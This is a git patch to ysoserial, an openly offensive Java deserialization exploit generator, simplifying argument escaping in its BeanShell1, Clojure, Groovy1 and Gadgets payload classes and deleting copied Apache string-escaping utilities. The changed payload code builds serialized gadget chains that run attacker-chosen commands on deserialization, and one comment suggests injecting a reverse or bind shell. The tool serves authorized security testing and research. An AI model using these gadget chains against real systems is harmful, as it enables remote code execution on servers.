From 9e62a8912dc7f096f707c4b870107dd038801aa7 Mon Sep 17 00:00:00 2001 From: Chris Frohoff Date: Sun, 24 Sep 2017 14:28:34 -0400 Subject: [PATCH] simplified escaping, addl multarg support --- src/main/java/ysoserial/Strings.java | 13 ++ .../java/ysoserial/payloads/BeanShell1.java | 55 +++---- src/main/java/ysoserial/payloads/Clojure.java | 19 +-- src/main/java/ysoserial/payloads/Groovy1.java | 4 +- .../java/ysoserial/payloads/util/Gadgets.java | 8 +- .../payloads/util/PayloadRunner.java | 15 +- .../translate/AggregateTranslator.java | 68 --------- .../translate/CharSequenceTranslator.java | 138 ----------------- .../translate/CodePointTranslator.java | 51 ------- .../java/ysoserial/translate/JavaEscaper.java | 33 ----- .../translate/JavaUnicodeEscaper.java | 113 -------------- .../ysoserial/translate/LookupTranslator.java | 104 ------------- .../ysoserial/translate/UnicodeEscaper.java | 140 ------------------ 13 files changed, 56 insertions(+), 705 deletions(-) delete mode 100644 src/main/java/ysoserial/translate/AggregateTranslator.java delete mode 100644 src/main/java/ysoserial/translate/CharSequenceTranslator.java delete mode 100644 src/main/java/ysoserial/translate/CodePointTranslator.java delete mode 100644 src/main/java/ysoserial/translate/JavaEscaper.java delete mode 100644 src/main/java/ysoserial/translate/JavaUnicodeEscaper.java delete mode 100644 src/main/java/ysoserial/translate/LookupTranslator.java delete mode 100644 src/main/java/ysoserial/translate/UnicodeEscaper.java diff --git a/src/main/java/ysoserial/Strings.java b/src/main/java/ysoserial/Strings.java index b99d7ee..11775e7 100644 --- a/src/main/java/ysoserial/Strings.java +++ b/src/main/java/ysoserial/Strings.java @@ -50,6 +50,19 @@ public class Strings { } return lines; } + + public static String escapeJavaString(String str) { + return str.replaceAll("\\\\","\\\\\\\\").replaceAll("\"", "\\\""); + } + + public static String[] escapeJavaStrings(String[] strs) { + String[] res = new String[strs.length]; + for (int i = 0; i < res.length; i++) { + res[i] = escapeJavaString(strs[i]); + } + return res; + } + public static class ToStringComparator implements Comparator { public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); } diff --git a/src/main/java/ysoserial/payloads/BeanShell1.java b/src/main/java/ysoserial/payloads/BeanShell1.java index 8a9b711..a0841be 100644 --- a/src/main/java/ysoserial/payloads/BeanShell1.java +++ b/src/main/java/ysoserial/payloads/BeanShell1.java @@ -7,6 +7,7 @@ import java.lang.reflect.InvocationHandler; import java.lang.reflect.Proxy; import java.util.Arrays; import java.util.Comparator; +import java.util.List; import java.util.PriorityQueue; import ysoserial.Strings; @@ -22,41 +23,41 @@ import ysoserial.payloads.util.PayloadRunner; @SuppressWarnings({ "rawtypes", "unchecked" }) @Dependencies({ "org.beanshell:bsh:2.0b5" }) @Authors({Authors.PWNTESTER, Authors.CSCHNEIDER4711}) -public class BeanShell1 extends PayloadRunner implements ObjectPayload { - - public PriorityQueue getObject(String command) throws Exception { - // BeanShell payload +public class BeanShell1 extends ExtendedObjectPayload { + public PriorityQueue getObject(String[] command) throws Exception { + // BeanShell payload + String payload = "compare(Object foo, Object bar) {new java.lang.ProcessBuilder(new String[]{" + Strings.join( // does not support spaces in quotes - Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\\"").split(" ")), + Arrays.asList(Strings.escapeJavaStrings(command)), ",", "\"", "\"") + "}).start();return new Integer(1);}"; - - // Create Interpreter - Interpreter i = new Interpreter(); - - // Evaluate payload - i.eval(payload); - - // Create InvocationHandler - XThis xt = new XThis(i.getNameSpace(), i); - InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt); - - // Create Comparator Proxy - Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler); - - // Prepare Trigger Gadget (will call Comparator.compare() during deserialization) - final PriorityQueue priorityQueue = new PriorityQueue(2, comparator); - Object[] queue = new Object[] {1,1}; - Reflections.setFieldValue(priorityQueue, "queue", queue); - Reflections.setFieldValue(priorityQueue, "size", 2); - - return priorityQueue; + + // Create Interpreter + Interpreter i = new Interpreter(); + + // Evaluate payload + i.eval(payload); + + // Create InvocationHandler + XThis xt = new XThis(i.getNameSpace(), i); + InvocationHandler handler = (InvocationHandler) Reflections.getField(xt.getClass(), "invocationHandler").get(xt); + + // Create Comparator Proxy + Comparator comparator = (Comparator) Proxy.newProxyInstance(Comparator.class.getClassLoader(), new Class[]{Comparator.class}, handler); + + // Prepare Trigger Gadget (will call Comparator.compare() during deserialization) + final PriorityQueue priorityQueue = new PriorityQueue(2, comparator); + Object[] queue = new Object[] {1,1}; + Reflections.setFieldValue(priorityQueue, "queue", queue); + Reflections.setFieldValue(priorityQueue, "size", 2); + + return priorityQueue; } public static void main(final String[] args) throws Exception { - PayloadRunner.run(BeanShell1.class, args); + PayloadRunner.run(BeanShell1.class, args); } } diff --git a/src/main/java/ysoserial/payloads/Clojure.java b/src/main/java/ysoserial/payloads/Clojure.java index 17d0542..8dd2902 100644 --- a/src/main/java/ysoserial/payloads/Clojure.java +++ b/src/main/java/ysoserial/payloads/Clojure.java @@ -26,23 +26,11 @@ import java.util.Map; */ @Dependencies({"org.clojure:clojure:1.8.0"}) @Authors({ Authors.JACKOFMOSTTRADES }) -public class Clojure extends PayloadRunner implements ObjectPayload> { +public class Clojure extends ExtendedObjectPayload> { - public Map getObject(final String command) throws Exception { + public Map getObject(final String[] command) throws Exception { -// final String[] execArgs = command.split(" "); -// final StringBuilder commandArgs = new StringBuilder(); -// for (String arg : execArgs) { -// commandArgs.append("\" \""); -// commandArgs.append(arg); -// } -// commandArgs.append("\""); - - -// final String clojurePayload = -// String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", commandArgs.substring(2)); - - String cmd = Strings.join(Arrays.asList(command.replaceAll("\\\\","\\\\\\\\").replaceAll("\"","\\").split(" ")), " ", "\"", "\""); + String cmd = Strings.join(Arrays.asList(Strings.escapeJavaStrings(command)), " ", "\"", "\""); final String clojurePayload = String.format("(use '[clojure.java.shell :only [sh]]) (sh %s)", cmd); @@ -70,5 +58,4 @@ public class Clojure extends PayloadRunner implements ObjectPayload> { public static void main(final String[] args) throws Exception { PayloadRunner.run(Clojure.class, args); } - } diff --git a/src/main/java/ysoserial/payloads/Groovy1.java b/src/main/java/ysoserial/payloads/Groovy1.java index 5e1832a..2cefe82 100644 --- a/src/main/java/ysoserial/payloads/Groovy1.java +++ b/src/main/java/ysoserial/payloads/Groovy1.java @@ -29,9 +29,9 @@ import ysoserial.payloads.util.PayloadRunner; @SuppressWarnings({ "rawtypes", "unchecked" }) @Dependencies({"org.codehaus.groovy:groovy:2.3.9"}) @Authors({ Authors.FROHOFF }) -public class Groovy1 extends PayloadRunner implements ObjectPayload { +public class Groovy1 extends ExtendedObjectPayload { - public InvocationHandler getObject(final String command) throws Exception { + public InvocationHandler getObject(final String[] command) throws Exception { final ConvertedClosure closure = new ConvertedClosure(new MethodClosure(command, "execute"), "entrySet"); final Map map = Gadgets.createProxy(closure, Map.class); diff --git a/src/main/java/ysoserial/payloads/util/Gadgets.java b/src/main/java/ysoserial/payloads/util/Gadgets.java index ab2278a..d304277 100644 --- a/src/main/java/ysoserial/payloads/util/Gadgets.java +++ b/src/main/java/ysoserial/payloads/util/Gadgets.java @@ -9,6 +9,7 @@ import java.lang.reflect.Constructor; import java.lang.reflect.InvocationHandler; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Proxy; +import java.util.Arrays; import java.util.HashMap; import java.util.LinkedList; import java.util.List; @@ -18,7 +19,6 @@ import javassist.ClassClassPath; import javassist.ClassPool; import javassist.CtClass; import ysoserial.Strings; -import ysoserial.translate.JavaEscaper; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; @@ -117,11 +117,7 @@ public class Gadgets { final CtClass clazz = pool.get(StubTransletPayload.class.getName()); // run command in static initializer // TODO: could also do fun things like injecting a pure-java rev/bind-shell to bypass naive protections - final List escapedParams = new LinkedList(); - for (String param : command) { - escapedParams.add("\"" + JavaEscaper.escapeJava(param) + "\""); - } - String cmd = "java.lang.Runtime.getRuntime().exec(new String[] {" + Strings.join(escapedParams, ", ") + "});"; + String cmd = "java.lang.Runtime.getRuntime().exec(new String[] {" + Strings.join(Arrays.asList(command), ", ", "\"", "\"") + "});"; clazz.makeClassInitializer().insertAfter(cmd); // sortarandom name to allow repeated exploitation (watch out for PermGen exhaustion) diff --git a/src/main/java/ysoserial/payloads/util/PayloadRunner.java b/src/main/java/ysoserial/payloads/util/PayloadRunner.java index 75816c3..f7355e1 100644 --- a/src/main/java/ysoserial/payloads/util/PayloadRunner.java +++ b/src/main/java/ysoserial/payloads/util/PayloadRunner.java @@ -1,5 +1,6 @@ package ysoserial.payloads.util; +import java.io.File; import java.util.concurrent.Callable; import ysoserial.Deserializer; @@ -52,12 +53,12 @@ public class PayloadRunner { } private static String getFirstExistingFile(String ... files) { - return "calc.exe"; -// for (String path : files) { -// if (new File(path).exists()) { -// return path; -// } -// } -// throw new UnsupportedOperationException("no known test executable"); +// return "calc.exe"; + for (String path : files) { + if (new File(path).exists()) { + return path; + } + } + throw new UnsupportedOperationException("no known test executable"); } } diff --git a/src/main/java/ysoserial/translate/AggregateTranslator.java b/src/main/java/ysoserial/translate/AggregateTranslator.java deleted file mode 100644 index 45fec6d..0000000 --- a/src/main/java/ysoserial/translate/AggregateTranslator.java +++ /dev/null @@ -1,68 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one or more - * contributor license agreements. See the NOTICE file distributed with - * this work for additional information regarding copyright ownership. - * The ASF licenses this file to You under the Apache License, Version 2.0 - * (the "License"); you may not use this file except in compliance with - * the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package ysoserial.translate; - -import java.io.IOException; -import java.io.Writer; -import java.util.ArrayList; -import java.util.List; - -/** - * Executes a sequence of translators one after the other. Execution ends whenever - * the first translator consumes codepoints from the input. - * - * @since 1.0 - */ -public class AggregateTranslator extends CharSequenceTranslator { - - /** - * Translator list. - */ - private final List translators = new ArrayList(); - - /** - * Specify the translators to be used at creation time. - * - * @param translators CharSequenceTranslator array to aggregate - */ - public AggregateTranslator(final CharSequenceTranslator... translators) { - if (translators != null) { - for (CharSequenceTranslator translator : translators) { - if (translator != null) { - this.translators.add(translator); - } - } - } - } - - /** - * The first translator to consume codepoints from the input is the 'winner'. - * Execution stops with the number of consumed codepoints being returned. - * {@inheritDoc} - */ - @Override - public int translate(final CharSequence input, final int index, final Writer out) throws IOException { - for (final CharSequenceTranslator translator : translators) { - final int consumed = translator.translate(input, index, out); - if (consumed != 0) { - return consumed; - } - } - return 0; - } - -} \ No newline at end of file diff --git a/src/main/java/ysoserial/translate/CharSequenceTranslator.java b/src/main/java/ysoserial/translate/CharSequenceTranslator.java deleted file mode 100644 index 3ec53d1..0000000 --- a/src/main/java/ysoserial/translate/CharSequenceTranslator.java +++ /dev/null @@ -1,138 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one or more - * contributor license agreements. See the NOTICE file distributed with - * this work for additional information regarding copyright ownership. - * The ASF licenses this file to You under the Apache License, Version 2.0 - * (the "License"); you may not use this file except in compliance with - * the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package ysoserial.translate; - -import java.io.IOException; -import java.io.StringWriter; -import java.io.Writer; -import java.util.Locale; - -/** - * An API for translating text. - * Its core use is to escape and unescape text. Because escaping and unescaping - * is completely contextual, the API does not present two separate signatures. - * - * @since 1.0 - */ -public abstract class CharSequenceTranslator { - - /** - * Array containing the hexadecimal alphabet. - */ - static final char[] HEX_DIGITS = new char[] {'0', '1', '2', '3', - '4', '5', '6', '7', - '8', '9', 'A', 'B', - 'C', 'D', 'E', 'F'}; - - /** - * Translate a set of codepoints, represented by an int index into a CharSequence, - * into another set of codepoints. The number of codepoints consumed must be returned, - * and the only IOExceptions thrown must be from interacting with the Writer so that - * the top level API may reliably ignore StringWriter IOExceptions. - * - * @param input CharSequence that is being translated - * @param index int representing the current point of translation - * @param out Writer to translate the text to - * @return int count of codepoints consumed - * @throws IOException if and only if the Writer produces an IOException - */ - public abstract int translate(CharSequence input, int index, Writer out) throws IOException; - - /** - * Helper for non-Writer usage. - * @param input CharSequence to be translated - * @return String output of translation - */ - public final String translate(final CharSequence input) { - if (input == null) { - return null; - } - try { - final StringWriter writer = new StringWriter(input.length() * 2); - translate(input, writer); - return writer.toString(); - } catch (final IOException ioe) { - // this should never ever happen while writing to a StringWriter - throw new RuntimeException(ioe); - } - } - - /** - * Translate an input onto a Writer. This is intentionally final as its algorithm is - * tightly coupled with the abstract method of this class. - * - * @param input CharSequence that is being translated - * @param out Writer to translate the text to - * @throws IOException if and only if the Writer produces an IOException - */ - public final void translate(final CharSequence input, final Writer out) throws IOException { - if (input == null) { - return; - } - int pos = 0; - final int len = input.length(); - while (pos < len) { - final int consumed = translate(input, pos, out); - if (consumed == 0) { - // inlined implementation of Character.toChars(Character.codePointAt(input, pos)) - // avoids allocating temp char arrays and duplicate checks - final char c1 = input.charAt(pos); - out.write(c1); - pos++; - if (Character.isHighSurrogate(c1) && pos < len) { - final char c2 = input.charAt(pos); - if (Character.isLowSurrogate(c2)) { - out.write(c2); - pos++; - } - } - continue; - } - // contract with translators is that they have to understand codepoints - // and they just took care of a surrogate pair - for (int pt = 0; pt < consumed; pt++) { - pos += Character.charCount(Character.codePointAt(input, pos)); - } - } - } - - /** - * Helper method to create a merger of this translator with another set of - * translators. Useful in customizing the standard functionality. - * - * @param translators CharSequenceTranslator array of translators to merge with this one - * @return CharSequenceTranslator merging this translator with the others - */ - public final CharSequenceTranslator with(final CharSequenceTranslator... translators) { - final CharSequenceTranslator[] newArray = new CharSequenceTranslator[translators.length + 1]; - newArray[0] = this; - System.arraycopy(translators, 0, newArray, 1, translators.length); - return new AggregateTranslator(newArray); - } - - /** - *

Returns an upper case hexadecimal String for the given - * character.

- * - * @param codepoint The codepoint to convert. - * @return An upper case hexadecimal String - */ - public static String hex(final int codepoint) { - return Integer.toHexString(codepoint).toUpperCase(Locale.ENGLISH); - } - -} \ No newline at end of file diff --git a/src/main/java/ysoserial/translate/CodePointTranslator.java b/src/main/java/ysoserial/translate/CodePointTranslator.java deleted file mode 100644 index 7bfacff..0000000 --- a/src/main/java/ysoserial/translate/CodePointTranslator.java +++ /dev/null @@ -1,51 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one or more - * contributor license agreements. See the NOTICE file distributed with - * this work for additional information regarding copyright ownership. - * The ASF licenses this file to You under the Apache License, Version 2.0 - * (the "License"); you may not use this file except in compliance with - * the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package ysoserial.translate; - -import java.io.IOException; -import java.io.Writer; - -/** - * Helper subclass to CharSequenceTranslator to allow for translations that - * will replace up to one character at a time. - * - * @since 1.0 - */ -public abstract class CodePointTranslator extends CharSequenceTranslator { - - /** - * Implementation of translate that maps onto the abstract translate(int, Writer) method. - * {@inheritDoc} - */ - @Override - public final int translate(final CharSequence input, final int index, final Writer out) throws IOException { - final int codepoint = Character.codePointAt(input, index); - final boolean consumed = translate(codepoint, out); - return consumed ? 1 : 0; - } - - /** - * Translate the specified codepoint into another. - * - * @param codepoint int character input to translate - * @param out Writer to optionally push the translated output to - * @return boolean as to whether translation occurred or not - * @throws IOException if and only if the Writer produces an IOException - */ - public abstract boolean translate(int codepoint, Writer out) throws IOException; - -} \ No newline at end of file diff --git a/src/main/java/ysoserial/translate/JavaEscaper.java b/src/main/java/ysoserial/translate/JavaEscaper.java deleted file mode 100644 index 3278b33..0000000 --- a/src/main/java/ysoserial/translate/JavaEscaper.java +++ /dev/null @@ -1,33 +0,0 @@ -package ysoserial.translate; - -import java.util.Collections; -import java.util.HashMap; -import java.util.Map; - -public class JavaEscaper { - public static final Map JAVA_CTRL_CHARS_ESCAPE; - public static final CharSequenceTranslator ESCAPE_JAVA; - - static { - Map initialMap = new HashMap(); - initialMap.put("\b", "\\b"); - initialMap.put("\n", "\\n"); - initialMap.put("\t", "\\t"); - initialMap.put("\f", "\\f"); - initialMap.put("\r", "\\r"); - JAVA_CTRL_CHARS_ESCAPE = Collections.unmodifiableMap(initialMap); - - Map escapeJavaMap = new HashMap(); - escapeJavaMap.put("\"", "\\\""); - escapeJavaMap.put("\\", "\\\\"); - ESCAPE_JAVA = new AggregateTranslator( - new LookupTranslator(Collections.unmodifiableMap(escapeJavaMap)), - new LookupTranslator(JAVA_CTRL_CHARS_ESCAPE), - JavaUnicodeEscaper.outsideOf(32, 0x7f) - ); - } - - public static final String escapeJava(final String input) { - return ESCAPE_JAVA.translate(input); - } -} diff --git a/src/main/java/ysoserial/translate/JavaUnicodeEscaper.java b/src/main/java/ysoserial/translate/JavaUnicodeEscaper.java deleted file mode 100644 index fac65fe..0000000 --- a/src/main/java/ysoserial/translate/JavaUnicodeEscaper.java +++ /dev/null @@ -1,113 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one or more - * contributor license agreements. See the NOTICE file distributed with - * this work for additional information regarding copyright ownership. - * The ASF licenses this file to You under the Apache License, Version 2.0 - * (the "License"); you may not use this file except in compliance with - * the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package ysoserial.translate; - -/** - * Translates codepoints to their Unicode escaped value suitable for Java source. - * - * @since 1.0 - */ -public class JavaUnicodeEscaper extends UnicodeEscaper { - - /** - *

- * Constructs a JavaUnicodeEscaper above the specified value (exclusive). - *

- * - * @param codepoint - * above which to escape - * @return the newly created {@code UnicodeEscaper} instance - */ - public static JavaUnicodeEscaper above(final int codepoint) { - return outsideOf(0, codepoint); - } - - /** - *

- * Constructs a JavaUnicodeEscaper below the specified value (exclusive). - *

- * - * @param codepoint - * below which to escape - * @return the newly created {@code UnicodeEscaper} instance - */ - public static JavaUnicodeEscaper below(final int codepoint) { - return outsideOf(codepoint, Integer.MAX_VALUE); - } - - /** - *

- * Constructs a JavaUnicodeEscaper between the specified values (inclusive). - *

- * - * @param codepointLow - * above which to escape - * @param codepointHigh - * below which to escape - * @return the newly created {@code UnicodeEscaper} instance - */ - public static JavaUnicodeEscaper between(final int codepointLow, final int codepointHigh) { - return new JavaUnicodeEscaper(codepointLow, codepointHigh, true); - } - - /** - *

- * Constructs a JavaUnicodeEscaper outside of the specified values (exclusive). - *

- * - * @param codepointLow - * below which to escape - * @param codepointHigh - * above which to escape - * @return the newly created {@code UnicodeEscaper} instance - */ - public static JavaUnicodeEscaper outsideOf(final int codepointLow, final int codepointHigh) { - return new JavaUnicodeEscaper(codepointLow, codepointHigh, false); - } - - /** - *

- * Constructs a JavaUnicodeEscaper for the specified range. This is the underlying method for the - * other constructors/builders. The below and above boundaries are inclusive when - * between is true and exclusive when it is false. - *

- * - * @param below - * int value representing the lowest codepoint boundary - * @param above - * int value representing the highest codepoint boundary - * @param between - * whether to escape between the boundaries or outside them - */ - public JavaUnicodeEscaper(final int below, final int above, final boolean between) { - super(below, above, between); - } - - /** - * Converts the given codepoint to a hex string of the form {@code "\\uXXXX\\uXXXX"}. - * - * @param codepoint - * a Unicode code point - * @return the hex string for the given codepoint - */ - @Override - protected String toUtf16Escape(final int codepoint) { - final char[] surrogatePair = Character.toChars(codepoint); - return "\\u" + hex(surrogatePair[0]) + "\\u" + hex(surrogatePair[1]); - } - -} \ No newline at end of file diff --git a/src/main/java/ysoserial/translate/LookupTranslator.java b/src/main/java/ysoserial/translate/LookupTranslator.java deleted file mode 100644 index ebb4c27..0000000 --- a/src/main/java/ysoserial/translate/LookupTranslator.java +++ /dev/null @@ -1,104 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one or more - * contributor license agreements. See the NOTICE file distributed with - * this work for additional information regarding copyright ownership. - * The ASF licenses this file to You under the Apache License, Version 2.0 - * (the "License"); you may not use this file except in compliance with - * the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package ysoserial.translate; - -import java.io.IOException; -import java.io.Writer; -import java.security.InvalidParameterException; -import java.util.HashMap; -import java.util.HashSet; -import java.util.Iterator; -import java.util.Map; - -/** - * Translates a value using a lookup table. - * - * @since 1.0 - */ -public class LookupTranslator extends CharSequenceTranslator { - - /** The mapping to be used in translation. */ - private final Map lookupMap; - /** The first character of each key in the lookupMap. */ - private final HashSet prefixSet; - /** The length of the shortest key in the lookupMap. */ - private final int shortest; - /** The length of the longest key in the lookupMap. */ - private final int longest; - - /** - * Define the lookup table to be used in translation - * - * Note that, as of Lang 3.1 (the orgin of this code), the key to the lookup - * table is converted to a java.lang.String. This is because we need the key - * to support hashCode and equals(Object), allowing it to be the key for a - * HashMap. See LANG-882. - * - * @param lookupMap Map<CharSequence, CharSequence> table of translator - * mappings - */ - public LookupTranslator(final Map lookupMap) { - if (lookupMap == null) { - throw new InvalidParameterException("lookupMap cannot be null"); - } - this.lookupMap = new HashMap(); - this.prefixSet = new HashSet(); - int currentShortest = Integer.MAX_VALUE; - int currentLongest = 0; - Iterator> it = lookupMap.entrySet().iterator(); - - while (it.hasNext()) { - Map.Entry pair = it.next(); - this.lookupMap.put(pair.getKey().toString(), pair.getValue().toString()); - this.prefixSet.add(pair.getKey().charAt(0)); - final int sz = pair.getKey().length(); - if (sz < currentShortest) { - currentShortest = sz; - } - if (sz > currentLongest) { - currentLongest = sz; - } - } - this.shortest = currentShortest; - this.longest = currentLongest; - } - - /** - * {@inheritDoc} - */ - @Override - public int translate(final CharSequence input, final int index, final Writer out) throws IOException { - // check if translation exists for the input at position index - if (prefixSet.contains(input.charAt(index))) { - int max = longest; - if (index + longest > input.length()) { - max = input.length() - index; - } - // implement greedy algorithm by trying maximum match first - for (int i = max; i >= shortest; i--) { - final CharSequence subSeq = input.subSequence(index, index + i); - final String result = lookupMap.get(subSeq.toString()); - - if (result != null) { - out.write(result); - return i; - } - } - } - return 0; - } -} \ No newline at end of file diff --git a/src/main/java/ysoserial/translate/UnicodeEscaper.java b/src/main/java/ysoserial/translate/UnicodeEscaper.java deleted file mode 100644 index b5f31a4..0000000 --- a/src/main/java/ysoserial/translate/UnicodeEscaper.java +++ /dev/null @@ -1,140 +0,0 @@ -/* - * Licensed to the Apache Software Foundation (ASF) under one or more - * contributor license agreements. See the NOTICE file distributed with - * this work for additional information regarding copyright ownership. - * The ASF licenses this file to You under the Apache License, Version 2.0 - * (the "License"); you may not use this file except in compliance with - * the License. You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -package ysoserial.translate; - -import java.io.IOException; -import java.io.Writer; - -/** - * Translates codepoints to their Unicode escaped value. - * - * @since 1.0 - */ -public class UnicodeEscaper extends CodePointTranslator { - - /** int value representing the lowest codepoint boundary. */ - private final int below; - /** int value representing the highest codepoint boundary. */ - private final int above; - /** whether to escape between the boundaries or outside them. */ - private final boolean between; - - /** - *

Constructs a UnicodeEscaper for all characters. - *

- */ - public UnicodeEscaper() { - this(0, Integer.MAX_VALUE, true); - } - - /** - *

Constructs a UnicodeEscaper for the specified range. This is - * the underlying method for the other constructors/builders. The below - * and above boundaries are inclusive when between is - * true and exclusive when it is false.

- * - * @param below int value representing the lowest codepoint boundary - * @param above int value representing the highest codepoint boundary - * @param between whether to escape between the boundaries or outside them - */ - protected UnicodeEscaper(final int below, final int above, final boolean between) { - this.below = below; - this.above = above; - this.between = between; - } - - /** - *

Constructs a UnicodeEscaper below the specified value (exclusive).

- * - * @param codepoint below which to escape - * @return the newly created {@code UnicodeEscaper} instance - */ - public static UnicodeEscaper below(final int codepoint) { - return outsideOf(codepoint, Integer.MAX_VALUE); - } - - /** - *

Constructs a UnicodeEscaper above the specified value (exclusive).

- * - * @param codepoint above which to escape - * @return the newly created {@code UnicodeEscaper} instance - */ - public static UnicodeEscaper above(final int codepoint) { - return outsideOf(0, codepoint); - } - - /** - *

Constructs a UnicodeEscaper outside of the specified values (exclusive).

- * - * @param codepointLow below which to escape - * @param codepointHigh above which to escape - * @return the newly created {@code UnicodeEscaper} instance - */ - public static UnicodeEscaper outsideOf(final int codepointLow, final int codepointHigh) { - return new UnicodeEscaper(codepointLow, codepointHigh, false); - } - - /** - *

Constructs a UnicodeEscaper between the specified values (inclusive).

- * - * @param codepointLow above which to escape - * @param codepointHigh below which to escape - * @return the newly created {@code UnicodeEscaper} instance - */ - public static UnicodeEscaper between(final int codepointLow, final int codepointHigh) { - return new UnicodeEscaper(codepointLow, codepointHigh, true); - } - - /** - * {@inheritDoc} - */ - @Override - public boolean translate(final int codepoint, final Writer out) throws IOException { - if (between) { - if (codepoint < below || codepoint > above) { - return false; - } - } else { - if (codepoint >= below && codepoint <= above) { - return false; - } - } - - if (codepoint > 0xffff) { - out.write(toUtf16Escape(codepoint)); - } else { - out.write("\\u"); - out.write(HEX_DIGITS[(codepoint >> 12) & 15]); - out.write(HEX_DIGITS[(codepoint >> 8) & 15]); - out.write(HEX_DIGITS[(codepoint >> 4) & 15]); - out.write(HEX_DIGITS[(codepoint) & 15]); - } - return true; - } - - /** - * Converts the given codepoint to a hex string of the form {@code "\\uXXXX"}. - * - * @param codepoint - * a Unicode code point - * @return the hex string for the given codepoint - * - */ - protected String toUtf16Escape(final int codepoint) { - return "\\u" + hex(codepoint); - } -} \ No newline at end of file